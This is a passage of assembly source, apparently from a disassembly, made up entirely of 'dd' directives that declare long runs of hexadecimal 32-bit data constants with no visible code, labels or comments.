20447018h, 966065A4h dd 0F7B0FD98h, 0B230C0CCh, 2F4571B1h, 31549300h, 3C8AC574h dd 268400E1h, 0CD6910D6h, 10B0C079h, 670C9B00h, 4F241856h dd 0ED4400B1h, 0BA5337D5h, 293F7AECh, 0F1B4806Eh, 5293D4CCh dd 2DF20B51h, 3080CE0Ah, 7A068E1Fh, 4F40800h, 0FCCA38F7h dd 9C6B0062h, 0F820A70Ah, 0FD0083C8h, 0B22FE174h, 0B806C1B4h dd 7376F7h, 0C5217DCEh, 0D36DE087h, 3CEAEC03h, 0A039F94Ah dd 4E9E5Eh, 0AE120A05h, 0C4401492h, 7743EE00h, 2F69EFACh dd 74C900B0h, 0EC2E39B4h, 0A3074A1Ah, 0AE10306h, 0EAA1A230h dd 85C000F9h, 84193C6Ah, 20B69BBh, 971DE4h, 718F8E00h dd 0F0E60D8Dh, 10CE4593h, 33F15BE0h, 0CE055C92h, 0AFB9D8Ch dd 302AC180h, 0CBB314BEh, 6405C860h, 60CEBB92h, 0A7C85DCh dd 0A47D21C0h, 12F8D086h, 18968BD7h, 0EDBB3C08h, 0ACF8BE5Bh dd 977B5C09h, 0CABA3420h, 0F139FB1Ah, 0A03189E7h, 9F28A7F2h dd 129C8850h, 485E4CE3h, 823261B0h, 18530124h, 0B8A0F8C7h dd 0A045DCE8h, 720BFCA9h, 1B10995h, 48804169h, 7C0CD48Bh dd 0B962C1C0h, 0ABF914h, 0E65A7184h, 0A15CA0CBh, 794104Ch dd 66366ED3h, 0CE931910h, 6B2F0003h, 8D472AD9h, 0C5000D15h dd 1D8F137h, 0DE6918h, 9CC6AF14h, 0CD52D1B3h, 0B96EDD00h dd 63B0BF7Ch, 8FC400F2h, 90693A9Ah, 6CEAEFF3h, 0ABED2A03h dd 0B04442B6h, 1239DD4h, 8FEBAEE3h, 0FC70E867h, 0EF02293Dh dd 12AD1482h, 638BE0BEh, 0D3320079h, 6AA62520h, 1B007C98h dd 28902EC5h, 71A826D4h, 3F920015h, 4C983DDBh, 2300F935h dd 0BA96E754h, 4E6EF0h, 19C1D2A8h, 0C7AAD8B4h, 0DD34B506h dd 544B60h, 3D23AEFAh, 2461A748h, 13D0E007h, 0F33012AAh dd 32CDF0h, 8E78C489h, 18B270C8h, 0AAA28500h, 0A09B6C65h dd 0F3490EEh, 6F4605F9h, 1385F1AFh, 3A84D02Dh, 4701561Dh dd 734AF20Bh, 90E4F5B8h, 9260110h, 8CCAC386h, 3BE420BCh dd 774BAB0Fh, 650F601Bh, 26E46h, 47EF76Ch, 87E9E076h, 158BF3Fh dd 2DBE5D73h, 0E870A7A1h, 35A03E70h, 0B592F581h, 0DC36C17Ch dd 0EE0F1875h, 1A55517h, 0E18C3162h, 0F0A6C5E0h, 0ED8A0CB1h dd 6B20D085h, 0FA15B400h, 0A813AEE5h, 0DAC9665Dh, 0F1000618h dd 2616B28Bh, 90C3827Eh, 0C86F0364h, 95AADEF7h, 7F503102h dd 80D2BE46h, 4A2E0A4Ch, 2930C0C1h, 5BEAA550h, 0C8C05D09h dd 7DCD0340h, 0EF211447h, 4C001C2Eh, 5A102542h, 8607401Eh dd 5DC057FAh, 0A12FA990h, 0D17F00EEh, 2885EC5Bh, 0E007443h dd 0AFB76DEFh, 0A0581F62h, 0A00A96FCh, 0A9469Eh, 4DB6BDC3h dd 9022BE0Fh, 96F3D43Ch, 0B40470FFh, 0F4C08AE0h, 1F7580E3h dd 0CE557C2h, 1191862Fh, 0C1B8E602h, 6156F270h, 88ADF3Ch dd 90EB8Eh, 3DF331B1h, 0D61FF21Bh, 2472590h, 5E019A3Ah dd 6081E3CFh, 0C7DE0889h, 1DA30C2h, 5CFC5400h, 0EE19AAF9h dd 3AC11C3Ch, 801466A8h, 75DF26CEh, 0A7078503h, 0A6C8EF32h dd 3217946h, 8DE167AFh, 3810E856h, 1000DF43h, 0F6E3BE9Ch dd 7E002DC8h, 16EF9A97h, 13C66Eh, 0FE66A956h, 0E404FA18h dd 0F1E0A360h, 2A51E82Fh, 7F81F82h, 0D24D45C5h, 0A160502Ah dd 6374FDD0h, 0A5212661h, 7F00399h, 0D79100D9h, 0DBC87B28h dd 0C1153B8Ah, 0F64B38Bh, 0C4C2E097h, 6A321F0Dh, 1290FCA0h dd 42003BE0h, 7618934Ch, 0ED64DFC2h, 0FC70D2C0h, 48250366h dd 547579A9h, 51634C1Eh, 81593201h, 0DF08CE6h, 0AD870786h dd 2E0FD05h, 8406402h, 0AB00B03Fh, 9D43A270h, 15B3C4Ch dd 0DE85AD8Ch, 0EC6C87DDh, 830FB8D3h, 47E964AEh, 0F2504DB7h dd 0A220FDh, 0CD6D18BEh, 0B58B929Bh, 382CE100h, 819E1B4Eh dd 3A371DF6h, 0B64D40D0h, 0B4365D27h, 29334Ch, 0A30BCDC3h dd 7224A91h, 3105890Ah, 0B525809Ch, 0B10010F5h, 0FCD3653Eh dd 0DD4F4Ch, 8E47A1E8h, 1413629Bh, 28CDAE00h, 43CF92F2h dd 8AEE0082h, 781E71B7h, 4818123Eh, 0B1196415h, 0DD771D59h dd 0CA978C28h, 38743630h, 0E5DE1901h, 2C0A617Ah, 6BE0D681h dd 9C3A0D9Eh, 18702EA9h, 1FA23996h, 0C3ECD8Bh, 0E3F91BFCh dd 0C0AF3A07h, 1250CEEBh, 1B65B9A8h, 0D024D682h, 0D5F28498h dd 881D0628h, 0B87D8838h, 5DEA80B2h, 0A4E0289Bh, 0B63C0034h dd 3EB3D899h, 0E3004550h, 0D5649A7Dh, 0EE2EF602h, 0E9880059h dd 0B17E1449h, 0A4016C2Fh, 0D79B8720h, 28DCCDFAh, 831E0084h dd 3475D5Fh, 46003EC9h, 0F0B0BB22h, 7E6A3Ch, 5EB117F7h dd 0CF5BFCFAh, 0AC30A207h, 2D2C015h, 59607F65h, 0F5E078F9h dd 649D7900h, 4EA7C74Ah, 1B672B8h, 1C93391Fh, 2174E6A4h dd 0C024EC49h, 75F4BA75h, 3B301B00h, 0E0968C03h, 0D4450089h dd 0F406A6A9h, 9517D1D7h, 4700C1D3h, 8AB1F47h, 0F6B700D6h dd 64447E17h, 9D001145h, 0AAA688F7h, 0F075F15Fh, 0B77201B5h dd 0F327C278h, 0C83D051h, 2ECF1838h, 70F3301h, 0F84AEC7Ch dd 0DE133C96h, 0C0A51A1Dh, 379D81DDh, 0A47A643Dh, 0ECAFB000h dd 4C8AED7Fh, 0A7D30055h, 8FE0667Bh, 0F7014B7Eh, 6AE66569h dd 0FECC801Ch, 6081778Ch, 723921FAh, 9500D368h, 0F125D54Ch dd 179DBDCh, 1E1C047Fh, 0C4F350B9h, 8724C077h, 0A003D3AEh dd 0E03741CBh, 68EE92h, 0F6E17A3Bh, 58AD79A1h, 512B7E00h dd 1A6E1CC7h, 5C273BDDh, 0E0088BAh, 927E5F47h, 61002823h dd 0B7BA5530h, 8B2050h, 8625B507h, 59974B6Bh, 9E227300h dd 17CF0CEDh, 3F280068h, 52D58630h, 0EB48BC07h, 0DE5907A2h dd 7AB01BD7h, 6368E415h, 522C09E8h, 0FEBE4803h, 0C08E4125h dd 86312Eh, 18035D29h, 0ECB30815h, 4E766F03h, 0AD62CCC3h dd 6CA6CA00h, 24E906AFh, 79BA15h, 320578A1h, 0D100DC58h dd 0A5323D3h, 1AED0BDh, 0F519A7A6h, 0E886D2C1h, 0D61C38B9h dd 58C00EF8h, 0F2D485E7h, 951800F7h, 22802BABh, 8A0092CAh dd 0CF37A276h, 7EA351h, 32B5462Ah, 1E3F57Ah, 4B81F919h dd 61F4AF08h, 42C10B2Ah, 7B07BAADh, 0AECE3344h, 39AB3800h dd 3FF5BE89h, 31BD0015h, 52CA5642h, 3200780Bh, 8B6AF918h dd 1A49990h, 3B8D662Bh, 0C8357375h, 2D30A29Ch, 57680879h dd 0D066002Ah, 7BB15E31h, 9B004934h, 4C4D1AA5h, 3B352701h dd 0D00E71Bh, 117DC85Dh, 0D5008A3Ah, 0A1CDFB68h, 0C4143B2h dd 0BE069859h, 0EF07AD51h, 65241525h, 0C2ED207Fh, 6BD3FE2h dd 82760E88h, 0D0F1862h, 83354F58h, 0C1254B09h, 10808074h dd 0B8DA78BAh, 6B00CDC8h, 39A64132h, 3B3FE8h, 0BD71D6ADh dd 50A409D5h, 0CE69101Eh, 8A59DB00h, 729056h, 928C565h dd 94857045h, 0E807F31Dh, 8CC06FDCh, 229F606Dh, 405001Ch dd 0A5ACD352h, 11009955h, 0F35D51DFh, 686A02h, 0FD8E75D2h dd 3B6B7CCh, 67504000h, 93B4F777h, 11D72D6h, 919B3769h dd 0D0784DF5h, 5300943Ah, 4F3B7020h, 393DF8FFh, 0A41D3C5Ch dd 4101802Dh, 13B721AFh, 5D03CA98h, 0FD085887h, 90380018h dd 0B378CDD5h, 0F100166Ah, 6C5915FFh, 0DF58C0h, 514928F9h dd 78CF638Eh, 5D99170Fh, 2A62E753h, 9E801B15h, 74A97A12h dd 90F874h dd 6AED535Eh, 0DCF3C8CFh, 0EC7F5B00h, 93FC34CAh, 1FD0006Eh dd 5F403DE1h, 890CFFB6h, 70D7D15Bh, 40956C79h, 62434E70h dd 7E043D3Dh, 3774A41Bh, 0FEE021BCh, 9D081F8Dh, 0C575801Ch dd 0CE617083h, 2A58C863h, 0D8FAA93Ch, 7FC425C8h, 5C19CEF2h dd 0E0D6B327h, 0A8C2AC36h, 8C56AF28h, 6E807E00h, 1C946C34h dd 0BC6B03E4h, 7C46E99Fh, 0B203Fh, 0BEE0F76Ah, 72E313DCh dd 93D5007Fh, 4D8D631Fh, 8F00435Ah, 0BC8B7E59h, 0BE30D3h dd 9611D7B5h, 832BA16Ah, 0B7A81900h, 22427EBAh, 705A002Dh dd 87DFF1BFh, 9B007B61h, 0B82079C9h, 30297FEFh, 9FA6D4DEh dd 0F0ECB094h, 0D922B600h, 0F2478957h, 3F9034h, 2CD5B8D0h dd 5442D8C8h, 72536500h, 87758533h, 0D41D007Ch, 0AA677704h dd 0DF0E5F43h, 270F34h, 7F414B6Dh, 0FEFE082h, 0A5747D2Ah dd 641D15C3h, 8C786006h, 0B2860BCh, 75689D99h, 90F4BE03h dd 0EAFFAE8h, 804CF23Bh, 0E0E3AC8Eh, 7F74F3h, 3757422Dh dd 4668C412h, 90DD8C00h, 8363416h, 0CE1D1207h, 4F93009Fh dd 4A97A2D6h, 28760A00h, 72A092DCh, 274E254h, 0E5FFE4E3h dd 0B9803D9Dh, 0BB0D40AAh, 3009C907h, 388CC4F7h, 37BC0072h dd 0D8A8F518h, 6A00F335h, 48BED3E6h, 0EAC5CDh, 71081689h dd 0B120DAA9h, 0A8D88A01h, 57C36F70h, 7C67C4h, 0E1DD4940h dd 534A9AECh, 4136D302h, 40DFAA77h, 0A0DE26h, 0E74F5F59h dd 1FF19AE2h, 1F6D903Eh, 0AA00CFEFh, 0D3108853h, 0D69D1C14h dd 5AC4C047h, 4F912C7Ah, 5399BF00h, 0F0A095Dh, 983E00E8h dd 0B40B5F56h, 310AE981h, 10EA9594h, 5CB37F00h, 92C4B9Bh dd 6338ECC4h, 0A00A209h, 0B5D4318Bh, 807F9839h, 9E269C44h dd 18251B53h, 20834D2Dh, 3618EEA5h, 9E5008A8h, 0B7160376h dd 0EF1CC6E3h, 0E2268C0h, 0D56C7300h, 0C08DACFAh, 326E8A9h dd 599FD619h, 93A0B407h, 3300EE65h, 4910730Bh, 639E655h dd 344CBDC4h, 981058A8h, 4F80C315h, 0CD6CFE0Dh, 63105143h dd 0DAFA0016h, 0E89A59D8h, 0F00F0304h, 0CE10A8BCh, 35BE2103h dd 0E0DF487Bh, 0CB60Bh, 0B0DB362Ah, 1E77C570h, 0DE5AC902h dd 8249795Dh, 185EE6ACh, 0F29042BBh, 0AAA08A38h, 7C20AC2Dh dd 1668007Bh, 0B8382F5Dh, 9E00BFA8h, 74673C4Ah, 0FFCED1h dd 26AFF6CAh, 371B9035h, 24702300h, 51BCC82Ah, 3EB80074h dd 3807ED7Dh, 0D70087CAh, 0BDA79B81h, 26D912h, 0A645CB65h dd 493C56CFh, 0F51D7E7Ah, 19C316D6h, 0FF255CE7h, 0A41E9530h dd 0C2960283h, 0EB9FD79Bh, 342B69C0h, 22EA330Fh, 0A0E46F11h dd 2F6046ACh, 35E7AE9h, 0E5CC4C2Dh, 77A14FB0h, 87208045h dd 6FD88E13h, 0FE8100D4h, 0B773679Dh, 0E10E2B7Bh, 7F53EFC2h dd 8246E31Eh, 581486h, 0D53CC7E6h, 0CE387DC9h, 1ECC791Dh dd 20F9B80Ch, 11D00080h, 3EDFEAF6h, 6E3D8C23h, 0D1BD834Fh dd 8146AAF9h, 2A70712Eh, 0E713180Ah, 7A4E22C5h, 98EA201Eh dd 41A30680h, 1DAE7721h, 331EC5E5h, 0B870D020h, 0B45648C3h dd 10DE9Ch, 42492277h, 4A30CB3h, 8FF7F31h, 20804DBCh, 0D418097h dd 0E9008285h, 6032559Dh, 14AA927Ah, 24D531CFh, 208C3501h dd 0CBC4594h, 0D8938BBAh, 8C74D0A0h, 72875201h, 313DAF78h dd 0DB959C57h, 938F981Fh, 0C24AE042h, 10739BBh, 0CBA3092Fh dd 40881285h, 230534A3h, 0DF55171Ch, 0A57E003Ch, 247CC667h dd 9D6B006Ch, 4E490E5Ah, 15F2F03Dh, 3303A9F4h, 0F6CD625Eh dd 50A788B4h, 0CCB90B2Dh, 9A808C3Eh, 0EDC74C63h, 0F9B27000h dd 9CF1886h, 2E680084h, 0D59829E2h, 0C00038C1h, 65354460h dd 57A280h, 9A1CE0D3h, 0D7452048h, 0FB70D207h, 2E403B38h dd 81301Ah, 3C0D371h, 68B941Bh, 954A4100h, 0BFC855D1h dd 0CA190061h, 0FD2344C5h, 0D500E436h, 30314235h, 75AF6CD7h dd 9DA1027Bh, 0A3D8D29Ch, 8D6E7340h, 35D92CFh, 76CA90Eh dd 0F7113410h, 46FF006Ah, 661F80D7h, 2141DB17h, 5D6D2DCFh dd 0F878BFE0h, 1C33005Bh, 0CD0FECFAh, 3A00FB0Bh, 3B7F11C7h dd 0CFF9DBh, 0B93D73E8h, 0EEEC9094h, 8E32A600h, 89E513BFh dd 20BA00F2h, 0C4E27A59h, 1000CF07h, 0D2D6D1A4h, 0CB8FE5h dd 0FCC0965Eh, 0D826E328h, 731FB1ECh, 0CAC0904Dh, 0F8A486FDh dd 0C4761F58h, 7A53005Dh, 0D6AE6A93h, 2A37BF02h, 0E0A480E9h dd 1D7F3A6Dh, 4041604Ah, 309E9892h, 0FBE42002h, 66834B12h dd 16710101h, 18F85F69h, 986C01C9h, 0A938A221h, 2C408064h dd 0EF618562h, 630B0BC8h, 6C01D6AAh, 7E02FF4Bh, 68DF13C0h dd 1212E809h, 984149h, 0A6328942h, 48004E77h, 96844A7Bh dd 0C554CA5h, 407012D7h, 4600CE19h, 9D39B5F6h, 37654C1h dd 692CDAC8h, 0CBC3D8EBh, 0C96A70CFh, 240C3D11h, 0B2DF9453h dd 98591F58h, 40CFA73h, 0E3B06584h, 0FC5ED107h, 0EBC00767h dd 5227557h, 69F6E77Ch, 0B6538048h, 0D500B3E1h, 0B2793B71h dd 3FCDE2F0h, 0B080E372h, 0F5A34D5Eh, 4A036590h, 2C65783h dd 617C48h, 7A89E15Bh, 0BC0B7C59h, 0F0FBE03Dh, 19317661h dd 0B040EB78h, 249B6037h, 2FEA87h, 9FE116Eh, 0F1001C76h dd 96B08E5Dh, 294F2C9h, 0BD16B459h, 0D8C0ECDCh, 0B5008C1Ch dd 6C5107DFh, 4DB423Bh, 89230328h, 795B8049h, 0F6007DD2h dd 20A56ABAh, 70D3E956h, 0AAD12EE3h, 0DDAB0038h, 49C1C268h dd 43004A7Bh, 0E458F587h, 7B9739Ah, 0B2833CCAh, 0CD70F1E9h dd 0D180C2ECh, 12CBB09Eh, 970AD700h, 75C359ACh, 15770018h dd 91790EBFh, 0FF004F2Ch, 1BC60CFDh, 0B84CDBE7h, 0FE570AFh dd 246D57Bh, 2180E30Eh, 3B41B465h, 365DF000h, 0AB4FB551h dd 0F1820043h, 3415C38Ah, 8400D632h, 0CEB00B24h, 0E8742EC1h dd 305795Bh, 0C753F4FCh, 0CE0D04Eh, 4600AF91h, 9ED5806h dd 0BECC3Fh, 0E1E3129Dh, 567FF74h, 32CBC200h, 4D4E2452h dd 0FD7A9Ah, 0C0102DE6h, 0E88CE2FFh, 772E8400h, 9EF51FC5h dd 45180064h, 0ED6ED5BDh, 7201A605h, 226C7F4Ch, 0FB419123h dd 28889965h, 5E88B961h, 39688446h, 0E0400E2Ah, 0CD51EC2Eh dd 6DAE0885h, 4441B3EDh, 0A002793h, 89802FE6h, 0CB51C0BEh dd 7F4FFD82h, 29C39EE0h, 0F2D01F33h, 8726351h, 2082DE51h dd 8D929C08h, 0C6795369h, 21402881h, 0D828949Ah, 35A10C28h dd 6E7D282Ah, 12045141h, 557402C6h, 94180120h, 0EF790128h dd 3C0228BEh, 7824E61h, 0A19AAE80h, 7F031D12h, 0EC5E360Dh dd 0A60800BCh, 20053BEFh, 0C200B61Fh, 9787B20Eh, 0B7E506h dd 77E4E2D3h, 0DF33062h, 80C90B3Ch, 28462025h, 1F2FDE3Ah dd 0C17E2915h, 0C919CBDDh, 9F7FD013h, 437D0C1Dh, 0C3078600h dd 382AEDh, 1656E12Fh, 2D1E9795h, 27BC6224h, 55A62101h dd 0D8FBDEEEh, 1398EDBh, 4CB3D018h, 0D4B0BB3Fh, 0FE00CA58h dd 6C9BC3DFh, 7A8339FAh, 866E00F0h, 14357D74h, 6D000E72h dd 0A584F32Dh, 0F6F1E71Dh, 17C800B8h, 0A4F9F6D7h, 9C0A9132h dd 915FA8C6h, 2712B300h, 2B961Bh, 0DEFF716Bh, 0E1054D60h dd 80FC723Ch, 0B046C702h, 1EE36AC3h, 9642BB35h, 0B8D8002Bh dd 0CE47BD79h, 631C5400h, 44F078D8h, 0D175013Eh, 0FDD07B21h dd 0F4DBCCECh, 37526E0Fh, 4A9920F8h, 0B27A6Ah, 4ED6FA80h dd 83666DDBh, 28C68600h, 8536503Dh, 62BA0F48h, 9AE0E287h dd 0ECA4C5F3h, 9E995503h, 0E0EDFDBBh, 1686B4Bh, 0BE2AB16Fh dd 30E397F6h dd 0A009DB4h, 0A5DF27B7h, 1C5A489h, 0C85DC67Ch, 0F8B20F87h dd 61007EC0h, 60526632h, 0D32837h, 65054B92h, 8F3DB101h dd 0A5A0FB00h, 59A71FFDh, 0FCB6395Eh, 77AC7187h, 5660AF51h dd 0FA409C2Bh, 8070093Ah, 0F12D72B9h, 0F0B67Bh, 0F75D19EFh dd 0C7635164h, 95752300h, 0BF43732Fh, 3DC733Eh, 4A101316h dd 90040BEh, 2446BB3Ah, 0F966E8Dh, 0F951C88Bh, 529FB8C0h dd 93F03EE8h, 43D7BE00h, 760F7D4Fh, 98990008h, 956FC1C5h dd 0C67C6194h, 0F1F6D91Ch, 0D72D6200h, 9C1918h, 0CFA3012h dd 0CB5CA86Fh, 6EE2CD1Dh, 0F6944C0h, 3542F9h, 0FB6A9B9Fh dd 0EBDD6155h, 0B3A95800h, 435AE276h, 72660352h, 474CF87Dh dd 4D35C08Fh, 0D0C1DA6h, 8090FB41h, 0AA69006Bh, 16B3B8C6h dd 0FE008C7Fh, 0FAC4E589h, 3C7EE050h, 1F07A4A0h, 1007C95Dh dd 0B8EB68D2h, 727F9100h, 0B6DEEF60h, 98CAFC75h, 2C6EC0EAh dd 0FE61971Fh, 42275300h, 5C91A57Bh, 77C307EEh, 97C20C9Ah dd 224B40BFh, 0D900CD20h, 5F2B40C5h, 7856EBh, 0B63E8B7Eh dd 1E92B2C4h, 7138EE03h, 0A8373BF7h, 0FA2B1FEDh, 7DF000B5h dd 0E4FE5105h, 1700836Fh, 57103A78h, 0BE9A35h, 90062EE9h dd 2CA207FBh, 0BBA0F7EDh, 2A1D4E76h, 714F51DCh, 620FC027h dd 1D20EDCEh, 667F5FBEh, 4FC900D2h, 4569DC37h, 2794C400h dd 63A892D7h, 8C519DBh, 0D00BB8B7h, 9700280Fh, 5A5BC64h dd 7F757AAh, 0C3A0ADFFh, 0FDB935h, 0DBD22935h, 89020h dd 9B23457Eh, 4BF007C5h, 0E318100h, 0D25B3DBFh, 5EE0098h dd 12DE16DBh, 5700C93Bh, 0FF421955h, 184E7Ch, 77B58B4Fh dd 2BE45F94h, 5E2E4D00h, 0F6CDC4BEh, 0D0CB0046h, 0A66CE544h dd 0E700AB04h, 0A11A1D21h, 1ECA6178h, 0BF9F174Eh, 0B876FD80h dd 36D56068h, 4145A900h, 0AC83A0B5h, 0C41E00C6h, 0E6448293h dd 9E0124AEh, 0FCBDC03Bh, 0EBC08786h, 0E036006Bh, 5BD9C23Eh dd 7F33DC48h, 8A8C3088h, 5F0DC01Bh, 0E629E8EAh, 3CAA00E9h dd 0A226094Dh, 8A709C89h, 5E031F00h, 0F1A34763h, 0B4CD03FBh dd 2527A90Eh, 9842D0C7h, 0FC00A8A6h, 99C811D3h, 0DA9172h dd 384976D7h, 53F38F84h, 34D19700h, 4A267B8Ch, 9D9E0712h dd 68CA7Dh, 0A3143D17h, 6C575900h, 14FDA66h, 22DD0094h dd 0AE467C68h, 0D602D9BCh, 1BB515FEh, 7041E057h, 2B70710h dd 80846131h, 0FA74F073h, 1F5EFB00h, 5BE53C44h, 586500D4h dd 0D1410ECBh, 260005E6h, 1FD35C73h, 19D8AC14h, 114A3211h dd 8208805Fh, 0FDB15C21h, 0BEC7002Dh, 7F94E0A6h, 18001935h dd 0EB5A650Bh, 4B8F31h, 564F3051h, 89B55FBBh, 4676E916h dd 0D8CE6000h, 1C249EFFh, 3F494Ch, 0F859B0E4h, 0F30E11D7h dd 801CD804h, 1E0D6D85h, 0B3AF0022h, 4C4A2181h, 0F200DFE9h dd 4437FAE0h, 1CA1A51Fh, 405A47D9h, 0B6C39B11h, 4F0383DAh dd 14F41CC7h, 7DD0E7AFh, 1F7AA08Ch, 0F8FB702Dh, 0E46CE780h dd 6264DED8h, 0B796DB00h, 0B3C44E59h, 0F6080042h, 0B268D437h dd 0C0005BEEh, 3C636D0h, 79C7554h, 8330B1F9h, 9A099011h dd 9700B4E1h, 0A8AF1249h, 66D57h, 0D3DA1B16h, 1D94C830h dd 6F482D00h, 0BCCD3826h, 13670031h, 0FC3DE250h, 1A0007A5h dd 4EB6157Ah, 1CBD787h, 0D8DE2DAFh, 30788C94h, 2AC066CFh dd 5422135h, 74A006A1h, 806C8E86h, 6FA22300h, 3FBA30B5h dd 7BD1003Ch, 0BEAFD541h, 0A5012410h, 0FE328A6Bh, 90C46E6Ah dd 648E3CDEh, 0C5131EF7h, 9A27C0CCh, 799CC2B5h, 7BF8B900h dd 70258AFFh, 0E93200F7h, 0ED471241h, 14005FE3h, 0D3DCB95Eh dd 9DCFAAh, 4E366C52h, 51F4C647h, 3E964Ch, 0E3A7D103h dd 9229EFh, 23580224h, 0BDE4C197h, 5749CB60h, 1690FF8Ah dd 8F2EF1h, 1E3E481Ch, 631DE3E8h, 7821DFh, 4C099945h, 7610F6h dd 50FF52CAh, 0ABA92065h, 0B4E27700h, 0CE22D2B1h, 0BB75CBh dd 8A4D5171h, 0D7CC7CF1h, 0C57BFA03h, 0BDB6030Dh, 0F04E3BC3h dd 95B96Dh, 6FB5D0FEh, 3F0FC829h, 677EC900h, 80BC4D76h dd 0EE210027h, 0FFA54762h, 720053DFh, 86012F71h, 1E900E22h dd 80E2F6BFh, 0BE978D55h, 880370B3h, 940B1C56h, 8E30F09Ah dd 71603CCDh, 0B59EBF8Ah, 0A3C807B4h, 0C2998066h, 0F072499Ah dd 4B548F03h, 0A0CC0865h, 2F47217h, 59F31893h, 0E0F77A1Fh dd 0AA134Ah, 0B61DEC78h, 3CE23314h, 0C3C10500h, 6654983Dh dd 0CBF62Dh, 0E1DC700Ah, 43205556h, 0B912B0Eh, 0C7D347A3h dd 0A16733A7h, 971ABE61h, 0CB289E8h, 0B75AD2AFh, 4000BC08h dd 68B301Dh, 4A7108h, 39F0FFA3h, 0BA1B47F6h, 121AE60Fh dd 0BE77A719h, 0B6141EF0h, 239C0034h, 97B774E2h, 500D8F7h dd 86250F8Eh, 7B333Bh, 58248B85h, 48E645B5h, 0CB9C3800h dd 0E22DC2D3h, 0BAD5000Ch, 0C5DF7309h, 0D6033DF5h, 7871A2AFh dd 0C2ACE22Dh, 82BC805Fh, 0F263C56h, 88857435h, 699FE320h dd 7812B55Dh, 1C00AA6Dh, 57C53559h, 99E40113h, 0A6D7C147h dd 0BC46DC2Bh, 0D10EBEF2h, 3787AEh, 69FE0FD8h, 0A3BD12D0h dd 1000AEF2h, 8D7629FAh, 6E8E0438h, 0C0302292h, 0CC89B144h dd 0B72D6F00h, 1C01370Ch, 0F44500FBh, 7F80AD0Eh, 3307A85Ah dd 0BDA60A8Ch, 74A32AB7h, 20C6B80Fh, 0AB7359h, 9BB3D0D6h dd 0ED77B4Bh, 0AE215600h, 28BA8183h, 3D627338h, 7F803382h dd 0B54B4F9Fh, 0D300E5A7h, 508F4E3Ch, 599C0Dh, 0B2B6AF27h dd 148B2B57h, 6CECA600h, 2EAE491Ch, 218700FAh, 0CB9A01A3h dd 4350D171h, 362081ACh, 4973127Ah, 65582810h, 79B21D00h dd 0D1A96153h, 8777000Eh, 58100473h, 953A264Dh, 0D42280DEh dd 0A74BD09Dh, 12E2E63Ch, 3F0AB1h, 0D352791h, 2A0038B5h dd 3289C4A2h, 0DF523Bh, 0A61A8A92h, 5A8CCCE7h, 17A03Eh dd 1C8F7298h, 683FE1h, 4C4BF6E6h, 9F5EC421h, 0B8C02B00h dd 97D3F4CFh, 20FC3Eh, 0BF51CC1Eh, 0DE9B28F8h, 0B47EE228h dd 0E0ADD200h, 0DAE84CA4h, 46F83091h, 5049D08h, 0E4900301h dd 0AE7E975Ah, 12C4EEE0h, 4013DA79h, 0C1CC0B88h, 6D002C37h dd 7221019Eh, 2AEB07Ch, 0DE945EB6h, 0B49611D9h, 5A0FF00h dd 0CBC53F6Bh, 30F0797h, 0F073E5D2h, 9DF76A1Eh, 4A87188h dd 2A5BBB3h, 0E5390022h, 7C1374h, 1FCC8A28h, 0DBE3324Ah dd 2F43A500h, 0EA59170Ah, 0D6AF00B0h, 96F313C9h, 6300EE6Fh dd 77695370h, 0EC0E5133h, 7ECC0018h, 0B3D9E9C8h, 0ED058E24h dd 0FDEAAACh, 545C9F80h, 0F75776Fh, 8F1D3A3Eh, 6166D461h dd 5249CC98h, 5C65EA02h, 601C46FFh, 789293h, 97F0FBCEh dd 7D3889E2h, 61F48300h, 721D22D6h, 0AD1F05DAh, 1CAAC30Dh dd 198CC094h, 1A5384B5h, 71C1EC07h, 0F7A08088h, 4D2A57h dd 3E689169h, 0C16A3AC8h, 2507CC00h, 0B59B9D8Dh, 0F6780047h dd 8E3386AEh, 0B00B23Ah, 0E56C4D6Bh, 71CCD4Bh, 0F8E6A52Dh dd 0A7598062h, 713E1014h, 95CA803Eh, 0CFAEBBC4h, 155B00B9h dd 908BE2D4h, 0B300641Fh, 6E822FDCh, 1B8C3D0Fh, 6934F132h dd 609918BBh, 15D450BBh, 8A0852D7h, 0AF0A1h, 0D9EDF2FDh dd 553A24DCh, 0D7AB93AAh, 3DF69B00h, 2D8387h, 0EB76CD4Fh dd 14E4DEA4h, 1DA9343Ah, 1DDE7B2Fh, 5DBFB184h, 575C580h dd 23A000E1h, 82838C96h, 0E02C487Eh, 0E501544Bh, 0E2B8DBACh dd 0E3A5DFD8h, 6FE780E7h, 633A002Eh, 1ACE283Bh, 2C1EADE3h dd 5C0A77Eh dd 0E669B2D5h, 0B66A00E0h, 50A09B73h, 3D005875h, 70282CC5h dd 9DEFA41h, 490534CCh, 0FBDC3600h, 0F300AF90h, 21410346h dd 611A88h, 7FDBB414h, 2CE6EC2h, 9CB833FEh, 0AEA2B500h dd 2E13BE91h, 2B241ED3h, 0E172408Ah, 7C09256Ah, 519A400h dd 0D73EEC94h, 84A73A51h, 5B382900h, 86A1331Eh, 61C7C000h dd 0FE30938Ah, 11BD0056h, 5DB7B577h, 3300219Eh, 0A1F9244Dh dd 17FA1A16h, 20E8CB08h, 1D43A2C0h, 6F00E57Fh, 834C32BBh dd 0D1E868h, 0C86F88Eh, 0DEC8AC3Fh, 9E733700h, 44B56D76h dd 69FC03C3h, 0F4273CE0h, 2CED25A8h, 0BEB8AC00h, 0F980CF34h dd 10E3004Fh, 0F65D646Ch, 17042F8Bh, 0F5B0903h, 1DE1AC0h dd 5C7B04AAh, 0D010DFC6h, 0C7727F08h, 9D271C0Eh, 52CBC04Dh dd 0A14AFEh, 1FAEA937h, 0EEE1425h, 77B83Fh, 0D0DC6D7Ch dd 0DE2041h, 905FC6ECh, 8D4649F2h, 0A3C73F2Eh, 6C585700h dd 0E9CEE42h, 63EA0793h, 37A2E44Fh, 0B0812784h, 0E17AC497h dd 761BEC7Dh, 0F103C0E8h, 0CD030621h, 352C8157h, 1D392C20h dd 0C044C911h, 0ECD74310h, 281C3DBFh, 3C401A91h, 0B284A2F8h dd 0F1D10066h, 0F3D2B47Eh, 0E407748Dh, 59E3DBCBh, 88647650h dd 958B076Ch, 70723E4Bh, 20D928D6h, 9EC7B600h, 650B294Ah dd 2E190054h, 0B5AE3D31h, 200006E4h, 0B22DE624h, 0FC229433h dd 7B51002Ch, 0A7C014F1h, 0FF008F65h, 0DBA83BE8h, 0A3CDBEh dd 0CF5DA0B6h, 0E5E2ED5Fh, 4600AC93h, 0D06FCE4Eh, 25AB0048h dd 826D5A20h, 0F02C0C1h, 4E0904E7h, 0FB1C44E3h, 0DBECCCh dd 301F47F3h, 6A226201h, 4CF7312h, 3CBF4000h, 0F17704Ah dd 